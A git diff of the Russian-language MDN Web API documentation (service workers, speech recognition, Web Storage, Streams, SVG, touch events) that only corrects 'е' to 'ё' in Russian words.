    --- a/files/ru/web/api/serviceworkerregistration/shownotification/index.html
    +++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
    @@ -43,7 +43,7 @@ translation_of: Web/API/ServiceWorkerRegistration/showNotification
       
  • renotify: A boolean that indicates whether to supress vibrations and audible alerts when resusing a tag value. The default is false.
  • requireInteraction: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twenty seconds. The default value is false.
  • tag: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.
  • -
  • vibrate: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом четные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечетные периоды пауз. Например, [300, 100, 400] будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.
  • +
  • vibrate: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом чётные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечётные периоды пауз. Например, [300, 100, 400] будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.
  • data: Arbitrary data that you want associated with the notification. This can be of any data type.
  • diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html index a1702d28b1..9185341f54 100644 --- a/files/ru/web/api/serviceworkerstate/index.html +++ b/files/ru/web/api/serviceworkerstate/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/ServiceWorkerState
    installed
    Service worker находится в состоянии ожидания и будет активирован после закрытия всех страниц его источника, использующих предыдущую версию service worker'а.
    activating
    -
    Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события onactivate для продления этапа активации до успешного завершения переданного промиса. Service worker не начнет обрабатывать события до перехода в состояние activated.
    +
    Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события onactivate для продления этапа активации до успешного завершения переданного промиса. Service worker не начнёт обрабатывать события до перехода в состояние activated.
    activated
    Service worker в данном состоянии активен и готов обрабатывать события.
    redundant
    diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html index 7e2b91c3c7..a50a9664a3 100644 --- a/files/ru/web/api/sharedworker/index.html +++ b/files/ru/web/api/sharedworker/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/SharedWorker
    {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}
    -
    Создает разделяемый веб воркер, который выполняет скрипт по указанному URL.
    +
    Создаёт разделяемый веб воркер, который выполняет скрипт по указанному URL.

    Методы

    diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html index d4f5246027..1731b109f3 100644 --- a/files/ru/web/api/speechgrammar/index.html +++ b/files/ru/web/api/speechgrammar/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/SpeechGrammar
    {{domxref("SpeechGrammar.SpeechGrammar()")}}
    -
    Создает новый объект SpeechGrammar .
    +
    Создаёт новый объект SpeechGrammar .

    Свойства

    diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html index 8331ae2e91..f7939e84d2 100644 --- a/files/ru/web/api/speechrecognition/index.html +++ b/files/ru/web/api/speechrecognition/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/SpeechRecognition
    {{domxref("SpeechRecognition.SpeechRecognition()")}}
    -
    Создает новый объект SpeechRecognition .
    +
    Создаёт новый объект SpeechRecognition .

    Свойства

    @@ -22,11 +22,11 @@ translation_of: Web/API/SpeechRecognition
    {{domxref("SpeechRecognition.grammars")}}
    Возвращает и устанавливает коллекцию объектов {{domxref("SpeechGrammar")}}  грамматики которые будут понятны текущему SpeechRecognition.
    {{domxref("SpeechRecognition.lang")}}
    -
    Задает и возвращает язык текущего SpeechRecognition. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.
    +
    Задаёт и возвращает язык текущего SpeechRecognition. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.
    {{domxref("SpeechRecognition.continuous")}}
    Проверяет возвращается ли непрерывные результаты или вернулся только один. По умолчанию для одиночного значение (false.)
    {{domxref("SpeechRecognition.interimResults")}}
    -
    Контроллирует, следует ли возвращать промежуточные результаты (true) или нет (false.) Промежуточные результаты это результаты которые еще не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство ложно.)
    +
    Контроллирует, следует ли возвращать промежуточные результаты (true) или нет (false.) Промежуточные результаты это результаты которые ещё не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство ложно.)
    {{domxref("SpeechRecognition.maxAlternatives")}}
    Устанавливает максимальное количество предоставленных результатов {{domxref("SpeechRecognitionAlternative")}}. По умолчанию значение 1.
    {{domxref("SpeechRecognition.serviceURI")}}
    @@ -45,7 +45,7 @@ translation_of: Web/API/SpeechRecognition
    {{domxref("SpeechRecognition.onerror")}}
    Вызывается когда произошла ошибка распознавания речи.
    {{domxref("SpeechRecognition.onnomatch")}}
    -
    Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определенную степень признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.
    +
    Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определённую степень признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.
    {{domxref("SpeechRecognition.onresult")}}
    Вызывается когда возвращает результат — слово или фраза были распознаны положительно, и это было передано обратно в приложение.
    {{domxref("SpeechRecognition.onsoundstart")}}
    @@ -75,9 +75,9 @@ translation_of: Web/API/SpeechRecognition

    Примеры

    -

    В нашем простом примере Speech color changer , мы создаем новый объект экземпляра SpeechRecognition используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового  {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.

    +

    В нашем простом примере Speech color changer , мы создаём новый объект экземпляра SpeechRecognition используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового  {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.

    -

    После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесен из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.

    +

    После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесён из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.

    var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
     var recognition = new SpeechRecognition();
    @@ -199,7 +199,7 @@ recognition.onresult = function(event) {
     
     

    Firefox OS разрешения

    -

    Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своем manifest:

    +

    Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своём manifest:

    "permissions": {
       "audio-capture" : {
    diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html
    index 94c0d175d6..750e34d8f5 100644
    --- a/files/ru/web/api/speechsynthesisutterance/index.html
    +++ b/files/ru/web/api/speechsynthesisutterance/index.html
    @@ -16,7 +16,7 @@ translation_of: Web/API/SpeechSynthesisUtterance
     
     

    Свойства

    -

    SpeechSynthesisUtterance еще наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.

    +

    SpeechSynthesisUtterance ещё наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.

    {{domxref("SpeechSynthesisUtterance.lang")}}
    @@ -37,13 +37,13 @@ translation_of: Web/API/SpeechSynthesisUtterance
    {{domxref("SpeechSynthesisUtterance.onboundary")}}
    -
    Срабатывает, когда произнесенное высказывание достигает границы слова или предложения.
    +
    Срабатывает, когда произнесённое высказывание достигает границы слова или предложения.
    {{domxref("SpeechSynthesisUtterance.onend")}}
    Срабатывает, когда произнесение произнесено.
    {{domxref("SpeechSynthesisUtterance.onerror")}}
    Срабатывает, когда возникает ошибка, которая препятствует успешному произнесению высказывания.
    {{domxref("SpeechSynthesisUtterance.onmark")}}
    -
    Срабатывает, когда произнесенное высказывание достигает названного тега метки «SSML».
    +
    Срабатывает, когда произнесённое высказывание достигает названного тега метки «SSML».
    {{domxref("SpeechSynthesisUtterance.onpause")}}
    Срабатывает, когда высказывание приостановлено.
    {{domxref("SpeechSynthesisUtterance.onresume")}}
    diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html index ca829dae1b..869995f394 100644 --- a/files/ru/web/api/storage/clear/index.html +++ b/files/ru/web/api/storage/clear/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/Storage/clear

    Пример

    -

    Следующая функция создает 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода clear().

    +

    Следующая функция создаёт 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода clear().

    function populateStorage() {
       localStorage.setItem('bgcolor', 'red');
    @@ -110,7 +110,7 @@ translation_of: Web/API/Storage/clear
     
     
     
    -

    Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

    +

    Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.

    Примечание: Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места.

    diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html index cc066d8334..12a4985508 100644 --- a/files/ru/web/api/storage/getitem/index.html +++ b/files/ru/web/api/storage/getitem/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Storage/getItem ---

    {{APIRef("Web Storage API")}}

    -

    Если в метод getItem() интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернет значение, лежащее в хранилище по указанному ключу.

    +

    Если в метод getItem() интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернёт значение, лежащее в хранилище по указанному ключу.

    Синтаксис

    @@ -120,7 +120,7 @@ translation_of: Web/API/Storage/getItem
    -

    Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

    +

    Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.

    Примечание: Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места

    diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html index f8ff0d97b5..7accb735a9 100644 --- a/files/ru/web/api/storage/key/index.html +++ b/files/ru/web/api/storage/key/index.html @@ -117,7 +117,7 @@ translation_of: Web/API/Storage/key
    -

    Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь вы найдете подробное описание объема хранилищ для разных браузеров.

    +

    Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь вы найдёте подробное описание объёма хранилищ для разных браузеров.

    Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть случайно  очищена по требованию OS, обычно это происходит, когда мало доступного места.

    diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html index 559673f403..98f6ea61aa 100644 --- a/files/ru/web/api/storage/length/index.html +++ b/files/ru/web/api/storage/length/index.html @@ -111,7 +111,7 @@ translation_of: Web/API/Storage/length
    -

    Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

    +

    Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.

    Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.

    diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html index 12fbd2c7a4..e0767fa6a8 100644 --- a/files/ru/web/api/storage/removeitem/index.html +++ b/files/ru/web/api/storage/removeitem/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Storage/removeItem ---

    {{APIRef("Web Storage API")}}

    -

    Если методу removeItem() интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удален элемент с указанным ключом. 

    +

    Если методу removeItem() интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удалён элемент с указанным ключом. 

    Синтаксис

    @@ -28,7 +28,7 @@ translation_of: Web/API/Storage/removeItem

    Пример

    -

    Следующая функция создает три элемента внутри локального хранилища и потом удаляет элемент с ключом image.

    +

    Следующая функция создаёт три элемента внутри локального хранилища и потом удаляет элемент с ключом image.

    function populateStorage() {
       localStorage.setItem('bgcolor', 'red');
    diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html
    index fe3540e3d6..75eb11453e 100644
    --- a/files/ru/web/api/storage/setitem/index.html
    +++ b/files/ru/web/api/storage/setitem/index.html
    @@ -32,7 +32,7 @@ translation_of: Web/API/Storage/setItem
     
     

    Пример

    -

    Следующая функция создает три элемента с данными в хранилище.

    +

    Следующая функция создаёт три элемента с данными в хранилище.

    function populateStorage() {
       localStorage.setItem('bgcolor', 'red');
    @@ -119,7 +119,7 @@ translation_of: Web/API/Storage/setItem
     
     
    -

    Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

    +

    Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.

    Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.

    diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html index c28ba798a3..126c659604 100644 --- a/files/ru/web/api/storagemanager/index.html +++ b/files/ru/web/api/storagemanager/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/StorageManager ---

    {{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}

    -

    StorageManager является частью Storage API и предоставляет интерфейс для управления правами на хранение данных и для получения объема данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.

    +

    StorageManager является частью Storage API и предоставляет интерфейс для управления правами на хранение данных и для получения объёма данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.

    Методы

    diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html index 777342b3bd..3ed4fc27ae 100644 --- a/files/ru/web/api/streams_api/index.html +++ b/files/ru/web/api/streams_api/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Streams_API

    Потоковая передача данных предполагает разбивку ресурса, который вы хотите получить через сеть, на мелкие кусочки и затем их обработку часть за частью. Это то, что браузеры делают в любом случае получения ассетов, чтобы показать их на страницах — видео буфер и другие ресурсы доступные для воспроизведения, и иногда это заметно на изображениях, загружающихся частями.

    -

    Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведен к необходимому формату и только потом работать с файлом после его полной загрузки.

    +

    Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведён к необходимому формату и только потом работать с файлом после его полной загрузки.

    С помощью потоков доступных в JavaScript меняется все — вы можете начать обрабатывать данные бит за битом как только данные появляются на стороне клиента, без необходимости генерировать буфер, строку или какой либо объект из потока.

    @@ -19,7 +19,7 @@ translation_of: Web/API/Streams_API

    Но это не все преимущества — вы можете отловить процессы старта и завершения потока, связывать потоки в цепочки, обрабатывать ошибки или прерывать их если это необходимо, реагировать на скорость с которой поток считывается.

    -

    Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращенного успешным fetch запросом может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.

    +

    Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращённого успешным fetch запросом может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.

    Более сложные примеры задействуют создание ваших собственных  потоков с помощью конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, например чтобы обработать данные внутри service worker.

    @@ -46,11 +46,11 @@ translation_of: Web/API/Streams_API
    {{domxref("WritableStream")}}
    -
    Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идет вместе со встроенными методами контроля обратного потока и созданием очередей.
    +
    Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идёт вместе со встроенными методами контроля обратного потока и созданием очередей.
    {{domxref("WritableStreamDefaultWriter")}}
    Представляет запись потока по умолчанию, которая может использоваться для записи фрагментов данных в записываемый поток.
    {{domxref("WritableStreamDefaultController")}}
    -
    Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании WritableStream, создается также соответствующий экземпляр WritableStreamDefaultController.
    +
    Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании WritableStream, создаётся также соответствующий экземпляр WritableStreamDefaultController.

    Дополнительные API и операции по работе с потоками

    @@ -59,7 +59,7 @@ translation_of: Web/API/Streams_API
    {{domxref("ByteLengthQueuingStrategy")}}
    Предоставляет встроенную стратегию длины байт-очереди, которая может быть использована при построении потоков.
    {{domxref("CountQueuingStrategy")}}
    -
    Предоставляет встроенную стратегию организации очередей подсчета чанков, которая может использоваться при построении потоков.
    +
    Предоставляет встроенную стратегию организации очередей подсчёта чанков, которая может использоваться при построении потоков.

    Дополнения к другим API

    @@ -68,7 +68,7 @@ translation_of: Web/API/Streams_API
    {{domxref("Request")}}
    При создании нового объекта типа Request, вы можете добавить {{domxref("ReadableStream")}} в свойство body его словаря RequestInit.  Этот объект типа Request может быть отправлен в  {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, чтобы начать загрузку потока.
    {{domxref("Body")}}
    -
    Ответ {{domxref("Body")}} возвращенный успешному fetch запросу вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикрепленного к нему и тп.
    +
    Ответ {{domxref("Body")}} возвращённый успешному fetch запросу вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикреплённого к нему и тп.

    Интерфейсы в дополнение к ByteStream

    diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html index 7bd391a9ff..16d0806808 100644 --- a/files/ru/web/api/svgaelement/index.html +++ b/files/ru/web/api/svgaelement/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/SVGAElement
    {{domxref("SVGAElement.hreflang")}}
    Является {{domxref("DOMString")}}, который отражает атрибут hreflang, указывающий язык связанного ресурса.
    {{domxref("SVGAElement.ping")}}
    -
    Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделенных пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом PING будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.
    +
    Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделённых пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом PING будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.
    {{domxref("SVGAElement.referrerPolicy")}}
    См. {{domxref("HTMLAnchorElement.referrerPolicy")}}.
    {{domxref("SVGAElement.rel")}}
    diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html index d8e3ba1aa2..4af2cede02 100644 --- a/files/ru/web/api/svgaelement/target/index.html +++ b/files/ru/web/api/svgaelement/target/index.html @@ -48,7 +48,7 @@ linkRef.target ='_blank';

    Browser compatibility

    - +

    {{Compat("api.SVGAElement.target")}}

    diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html index 86f9e76035..eca4dd9c22 100644 --- a/files/ru/web/api/svggraphicselement/index.html +++ b/files/ru/web/api/svggraphicselement/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/SVGGraphicsElement

    {{InheritanceDiagram(600, 120)}}

    -

    Note: Этот интерфейс был введен в SVG 2 и заменяет интерфейсы  {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.

    +

    Note: Этот интерфейс был введён в SVG 2 и заменяет интерфейсы  {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.

    Свойства

    diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html index 384958a557..8a7c2f356f 100644 --- a/files/ru/web/api/svgtextcontentelement/index.html +++ b/files/ru/web/api/svgtextcontentelement/index.html @@ -93,7 +93,7 @@ translation_of: Web/API/SVGTextContentElement {{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}} {{Spec2("SVG2")}} - Измененное наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и getStartPositionOfChar() удаленных реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и getEndPositionOfChar(), чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}. + Изменённое наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и getStartPositionOfChar() удалённых реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и getEndPositionOfChar(), чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}. {{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}} @@ -105,6 +105,6 @@ translation_of: Web/API/SVGTextContentElement

    Совместимость с браузером

    - +

    {{Compat("api.SVGTextContentElement")}}

    diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html index f1e27d56a3..2ccbf4d576 100644 --- a/files/ru/web/api/svgtextelement/index.html +++ b/files/ru/web/api/svgtextelement/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/SVGTextElement {{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}} {{Spec2("SVG2")}} -

    Удален реализованный
    +

    Удалён реализованный
    интерфейс {{domxref("SVGTransformable")}}.

    @@ -49,7 +49,7 @@ translation_of: Web/API/SVGTextElement

    Совместимость с браузером

    - +

    {{Compat("api.SVGTextElement")}}

    diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html index f8e5f25f0e..625848211b 100644 --- a/files/ru/web/api/text/index.html +++ b/files/ru/web/api/text/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/Text

    Возвращает флаг {{domxref("Boolean")}}, сигнализирующий, содержит ли (или нет) text node только пробел(ы).

    {{domxref("Text.wholeText")}} {{readonlyInline}}
    -
    Возвращает {{domxref("DOMString")}}, который содержит все Text nodes логически примыкающие к этому {{domxref("Node")}}, соединенные как в документе.
    +
    Возвращает {{domxref("DOMString")}}, который содержит все Text nodes логически примыкающие к этому {{domxref("Node")}}, соединённые как в документе.
    {{domxref("Text.assignedSlot")}} {{readonlyinline}}
    Возвращает объект {{domxref("HTMLSlotElement")}}, связанный с этим элементом.
    @@ -76,7 +76,7 @@ translation_of: Web/API/Text {{SpecName('DOM WHATWG', '#text', 'Text')}} {{Spec2('DOM WHATWG')}} Удалено свойство isElementContentWhitespace.
    - Удален метод replaceWholeText().
    + Удалён метод replaceWholeText().
    Добавлен конструктор Text().
    Добавлено свойство assignedSlot. diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html index 0784963a41..fd86517821 100644 --- a/files/ru/web/api/touch_events/index.html +++ b/files/ru/web/api/touch_events/index.html @@ -93,7 +93,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
    }
    -

    Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список измененных точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.

    +

    Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список изменённых точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.

    После этого мы перебираем все объекты {{domxref("Touch")}} в списке, помещая их в массив активных точек касания и рисуя начальную точку в виде маленького кружка; мы используем линию толщиной 4 пикселя, поэтому получим аккуратный круг радиусом 4 пикселя.

    @@ -131,7 +131,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
    } -

    Функция также перебирает измененные касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путем отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остается неизменным на протяжении всего времени контакта пальца с экраном.

    +

    Функция также перебирает изменённые касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путём отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остаётся неизменным на протяжении всего времени контакта пальца с экраном.

    Это позволяет нам получать координаты предыдущей позиции каждого касания и использовать подходящий метод "canvas-контекста" для рисования отрезка линии, соединяющего начало и конец.

    @@ -139,7 +139,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>

    Обработка завершения касания

    -

    Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию handleEnd(), которая представлена ниже. Ее задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.

    +

    Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию handleEnd(), которая представлена ниже. Её задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.

    function handleEnd(evt) {
       evt.preventDefault();
    @@ -167,9 +167,9 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
    } -

    Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем  Array.splice(), мы просто удаляем старую запись из текущего списка касаний без добавления обновленной информации. В результате мы прекращаем отслеживать эту точку касания.

    +

    Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем  Array.splice(), мы просто удаляем старую запись из текущего списка касаний без добавления обновлённой информации. В результате мы прекращаем отслеживать эту точку касания.

    -

    Обработка отмененных касаний

    +

    Обработка отменённых касаний

    Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию handleCancel(), приведённую ниже.

    @@ -330,8 +330,8 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>

    Firefox, события касаний и многопроцессность (e10s)

    -

    В Firefox события касания отключены, когда отключен e10s (электролиз; многопроцессорный Firefox). e10s включен по умолчанию в Firefox, но может в конечном итоге отключаться в определенных ситуациях, например, когда установлены определенные инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.

    +

